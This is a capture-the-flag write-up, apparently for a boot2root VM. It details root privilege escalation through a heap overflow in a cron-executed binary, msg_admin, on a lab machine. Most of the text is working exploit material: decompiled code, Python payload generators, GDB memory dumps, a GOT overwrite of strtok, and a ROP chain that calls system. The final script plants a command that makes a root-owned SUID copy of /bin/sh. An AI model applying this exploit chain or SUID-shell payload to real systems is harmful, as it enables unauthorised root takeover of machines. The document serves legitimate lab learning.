uid=1001(puck) gid=1004(dev) groups=1001(puck)
No root, No glory
While I was searching for files related to puck I already found a interesting cron job
ls -lah /etc/cron.d/
total 16K
drwxr-xr-x 2 root root 4.0K May 20 19:35 .
drwxr-xr-x 90 root root 4.0K Sep 11 18:05 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-rw-r--r-- 1 root root 100 May 19 18:25 msg_admin
$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
$ /usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
cate|Reset password request
The cron job grabs all .msg files from the /opt/.messenger folder and passes them to the msg_admin executable and after that it deletes the files.
I Copied the executable to my local machine to analyze it.
struct struct_msg
{
int Priority;
char *Requestername;
char *Msg;
};
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
int v8; // edi@15
int v11; // [sp-8h] [bp-88h]@1
char *sLineBuf; // [sp+Ch] [bp-74h]@3 MAPDST
int dNrOfLines; // [sp+10h] [bp-70h]@1 MAPDST
int i; // [sp+14h] [bp-6Ch]@1
__int32 priority; // [sp+18h] [bp-68h]@1
char *dest; // [sp+24h] [bp-5Ch]@1
FILE *fdMsgFile; // [sp+28h] [bp-58h]@3
char *delim; // [sp+34h] [bp-4Ch]@10
char *linepart; // [sp+38h] [bp-48h]@11
struct_msg *aMessages[10]; // [sp+3Ch] [bp-44h]@7
int canarie; // [sp+64h] [bp-1Ch]@1
canarie = *MK_FP(__GS__, 20);
priority = 0;
dNrOfLines = 0;
i = 0;
dest = &v11;
if ( argc > 2 )
{
priority = atol(argv[1]);
fdMsgFile = fopen(argv[2], "r");
sLineBuf = malloc(400u);
/*
Count the lines in the file
LINEMAX_2 = 400
*/
while ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 0 )
++dNrOfLines;
printf("[+] Recording %d entries\n", dNrOfLines);
rewind(fdMsgFile);
/*
Create dNrOfLines amount of struct_msg structures
and add them to aMessage[10] list (no boundery checks done)
*/
for ( i = 0; i < dNrOfLines; ++i )
{
aMessages[i] = malloc(12u);
aMessages[i]->Priority = priority;
aMessages[i]->Requestername = malloc(10u);
aMessages[i]->Msg = malloc(200u);
}
/*
Parse each message line and assign its data to a struct_msg
*/
for ( i = 0; i < dNrOfLines; ++i )
{
delim = "|";
// read a line from the file
if ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 1 )
{
// truncate current line
sLineBuf[strlen(sLineBuf) - 1] = 0;
/*
Split the line on '|' into Requestername and Msg
and copy it to a struct_msg (memory corruption)
*/
linepart = strtok(sLineBuf, delim);
strcpy(aMessages[i]->Requestername, linepart);
linepart = strtok(0, delim);
strcpy(aMessages[i]->Msg, linepart);
/*
Copy max 100 bytes from the current message to
dest.. for no purpose, but very useful later 😉
*/
strncpy(dest, aMessages[i]->Msg, 100u);
}
}
fclose(fdMsgFile);
notify_admin(aMessages, dNrOfLines);
result = 0;
}
else
{
usage(*argv);
result = 1;
}
v8 = *MK_FP(__GS__, 20) ^ canarie;
return result;
}
This is a classic memory corruption. For each message(line) in a .msg file it creates a struct_msg structure and allocates memory for it’s variable’s and then adds it to a list. Next it loops trough the file and splits every line on the ‘|’ delimiter and copies each part to the structure variables ‘Requestername’ and ‘Msg’. These variables have a fixed size of 10(Requestername) and 200(Msg). Since no lengths are being checked we could corrupt a structure pointer in memory.
The following code creates a .msg file with 2 messages and each its variables filled up to its max so it does not corrupt anything.
#!/usr/bin/env python
import sys
import struct
# message 1
payload = 10 * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10 * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'
open('poc.msg','wb').write(payload)
When we analyze the memory using GBD we can see how all the memory is mapped
0x804c388: 0x00000001 0x0804c398 0x0804c3a8 0x00000011
0x804c398: 0x41414141 0x41414141 0x00004141 0x000000d1
0x804c3a8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3b8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3c8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3d8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3e8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3f8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c408: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c418: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c428: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c438: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c448: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c458: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c468: 0x42424242 0x42424242 0x00000000 0x00000011
0x804c478: 0x00000001 0x0804c488 0x0804c498 0x00000011
0x804c488: 0x43434343 0x43434343 0x00004343 0x000000d1
0x804c498: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4a8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4b8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4c8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4d8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4e8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4f8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c508: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c518: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c528: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c538: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c548: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c558: 0x44444444 0x44444444 0x00000000 0x00020aa1
The first struct_msg structure is located at 0x804c388 and the second at 0x804c478. Now when we use a larger(216 bytes) ‘Msg’ buffer for the first message we would overwrite the ‘Requestername’ pointer of the second struct_msg structure and effectively control the destination pointer and source data in the next strcpy call resulting in a Write-Anything-Anywhere condition allowing us to patch a GOT entry.
This code patches the got.strtok address to 0x43434343, strtok is the next function executed after the strcpy.
#!/usr/bin/env python
import sys
import struct
# message 1
# .got.plt:0804B05C off_804B05C dd offset strtok ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'
open('poc.msg','wb').write(payload)
Some GDB
gdb-peda$ x/150xw 0x804c388
0x804c388: 0x00000001 0x0804c398 0x0804c3a8 0x00000011
0x804c398: 0x41414141 0x41414141 0x00004141 0x000000d1
0x804c3a8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3b8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3c8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3d8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3e8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3f8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c408: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c418: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c428: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c438: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c448: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c458: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c468: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c478: 0x42424242 0x0804b05c 0x0804c400 0x00000011
0x804c488: 0x00000000 0x00000000 0x00000000 0x000000d1
0x804c498: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c508: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c518: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c528: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c538: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c548: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c558: 0x00000000 0x00000000 0x00000000 0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (: mov DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
Based on the GDB output we can see that if we would execute a pop(4) gadget we would return to ‘dest’ data of the first(previous) message which is stored on the stack by the ‘strncpy(dest, aMessages[i]->Msg, 100u);’.
Root All Thingz
I wrote a ROP payload which loads the address of atol from the got into eax and sums this value up till system by adding 0xE900 in 3 stages and then call’s eax(system) with the argument ‘/tmp/foo’, this is a script created by us and when executed it copies a root owned SUID shell to tmp.
#!/usr/bin/env python
import sys
import struct
import os
def p(v):
return struct.pack('<L', v)
# .got.plt:0804B05C off_804B05C dd offset strtok ; DATA XREF: _strtok
__strtok_got = 0x0804B05C
# .got.plt:0804B04C off_804B04C dd offset atol ; DATA XREF: _atol
__atol_got = 0x0804B04C
# pop pop pop pop retn
__ppppr = 0x08048DDC
# .rodata:08048ED8 aEgTonyPleaseRe db 'Eg: tony|Please remove /tmp/foo',0
# '/tmp/foo' starts at 0x08048ED8 + 23
__foo_str = 0x08048ED8
# 0x080480C7 0x0000E800
__int16_e800h = 0x080480C7
# 0x08048093 0x00000100
__int16_0100h = 0x08048093
# ROP
# eax = 0
# 0x08048790: mov eax 0x0804b074 ; sub eax 0x0804b074 ; ...
# eax += atol
# 0x08048e06: pop ebx <- __atol_got - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += e800h
# 0x08048e06: pop ebx <- __int16_e800h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += 0100h
# 0x08048e06: pop ebx <- __int16_0100h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax -> system
# argv[1] -> __foo_str + 23 eq. '/tmp/foo'
# 0x08048786: call eax ; leave ;
rop = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)
# message 1
payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
# message 2
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'
# create the exploit message file
open('exploit.msg','wb').write(payload)
# create the foo file
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')
Executed the exploit from the tmp folder and moved the created exploit.msg into the /opt/.messenger folder and waited a bit..
./rootsploit.py
ls -lah
total 20K
drwxrwxrwt 2 root root 4.0K Sep 13 01:05 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rw-r--r-- 1 puck dev 434 Sep 13 01:05 exploit.msg
-rwxr-xr-x 1 puck dev 82 Sep 13 01:05 foo
-rwxr-xr-x 1 puck dev 2.0K Sep 13 00:43 rootsploit.py
mv exploit.msg /opt/.messenger/
ls -lah
total 128K
drwxrwxrwt 2 root root 4.0K Sep 13 01:08 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rwxr-xr-x 1 puck dev 82 Sep 13 01:05 foo
-rwsr-xr-x 1 root root 110K Sep 13 01:08 r00tsh3ll
-rwxr-xr-x 1 puck dev 2.0K Sep 13 00:43 rootsploit.py
./r00tsh3ll
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
whoami
root
Game over
This was another awesome boot2root VM, I enjoyed it allot. Thanks Superkojiman!